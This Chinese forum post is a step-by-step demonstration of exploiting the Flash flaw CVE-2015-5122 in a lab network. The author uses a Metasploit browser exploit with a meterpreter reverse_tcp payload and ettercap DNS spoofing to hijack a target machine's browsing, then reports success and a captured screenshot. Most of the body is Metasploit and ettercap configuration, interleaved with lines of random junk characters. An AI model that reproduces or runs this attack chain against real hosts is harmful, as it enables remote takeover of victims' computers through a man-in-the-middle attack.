找回密码
 立即注册
查看: 1957|回复: 0
打印 上一主题 下一主题

cve2015-5122漏洞实例演示虚拟机

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

' |' J( S4 [2 o 二、cve2015-5122漏洞实例演示虚拟机 1 I9 T* ?- l* [

. k% }0 ?5 \- r. T- ]

) O/ u U5 D7 F3 @0 W   关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: ; I$ N$ s/ |7 }. G7 G0 w

0 E6 h3 }) ]$ H

2 Q- ]9 s9 i% ~# O7 x R v$ f search cve-2015-5122如图: ! s& e* k6 N4 m2 c

: |8 A7 e0 B0 }

6 [- g' b6 d1 @, I! t- g V( Z' R   % R3 M1 L4 g: G: d

3 t% a1 U& J% C- r( S& [

0 ^! a, g" b3 N" o- ~) f 下面我们敲如下命令: " ^4 \7 h }. k% M! [ \ n

/ \3 T1 }/ {5 D8 x7 A

1 S# m6 o) g6 | use exploit/multi/browser/adobe_flash_opaque_background_uaf - B' ?2 C$ n/ ^/ Y7 |3 H

2 d) ~2 i% i# V$ n6 Y- ]: i

8 U' b- `1 e9 p% B7 {, A, X2 M set PAYLOAD windows/meterpreter/reverse_tcp % N) B" R. n) x* k9 l

/ @# ^' j9 |5 ^ _ O

! E: Z) k, F$ J$ [6 c. @ set LHOST 192.168.0.109 / Z' R& Y- Q, ^8 _

! b$ c# j: F2 _% @% A& N7 s

1 D; Q) P; I9 s8 O set URIPATH /                        /*根目录*/ $ D* s0 v; i m4 o8 E5 g

5 k# v1 j8 q: q( j

) ?) T( ^7 G4 E set SRVHOST 192.168.0.109  //192.168.0.109kaili ip地址 ! g3 C( y8 U$ I; i; k! l! Z7 J

" Q: P7 s9 q) I: T' i$ K

1 X3 v) u9 e: x3 m$ r& h set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 " J& j- I/ c0 u% a

% O. [* d4 Q0 Z. N4 r

3 ~" D. i+ j0 d% j# I, j' t 然后show options如图: ! i! a1 j* k5 R- z* Z

/ j8 n* m8 X N

( G4 Z3 F& B; P, H) y   $ Z7 C9 m" _7 d1 X6 t+ d y

X# r8 N$ Y$ T4 \

/ L3 r, ~9 z8 @5 `; Q6 T' L 一切都设置好了,执行exploit下面我们进etc/ettercap目录下设置etc.dns如图:
' `( T' a9 `4 u! p+ i' y
]2 C6 X7 q, F u4 T$ m

- P4 K% s: E. i q7 o Y

. ~6 q5 W; U2 l" W( Z) [% @ 然后ettercap -G命令打开ettercap,我们要攻击的主机ip192.168.0115 ( v, ~0 C* a8 L8 t' E( d7 U$ f

2 t. K# g& [0 U9 A

% B3 b# Q% }$ {6 Q Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf + b' n$ U8 {4 k

# P# l4 a- o1 ?

* t0 V# y! f) q6 r& V- l$ n   , ~, a6 V, J, j9 a$ Y* d; O. L

) V9 ]: v: ~& H2 E+ H

$ w% H9 E: l: R0 C* l/ _ 成功了,这时候我们断开ettercap,如图: . _- x) |/ M+ j/ r7 i" i# O

- N* T8 H, |$ ~" M# }" q

1 n8 _; |8 |1 d5 j! U% k+ D3 n   , k R/ g, g8 `2 E L) u

3 [# Z3 i6 E" P! b2 p" c

" |! i: U, J7 C/ `4 ] Screenshot如图: - w+ v0 K# z! k( V/ L1 t9 z

* j. E% u ^& _$ @. `/ R$ I q

7 F+ Y: e; R4 H( P7 T' H+ G5 e   ( U2 I$ x9 W* Z1 r3 A9 N/ X- B

0 u4 H$ w O% D/ K5 d8 S

1 ^* {* N; d2 ?. g1 i: m5 J ~ 8 ` D! S" k0 Z2 W' C

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表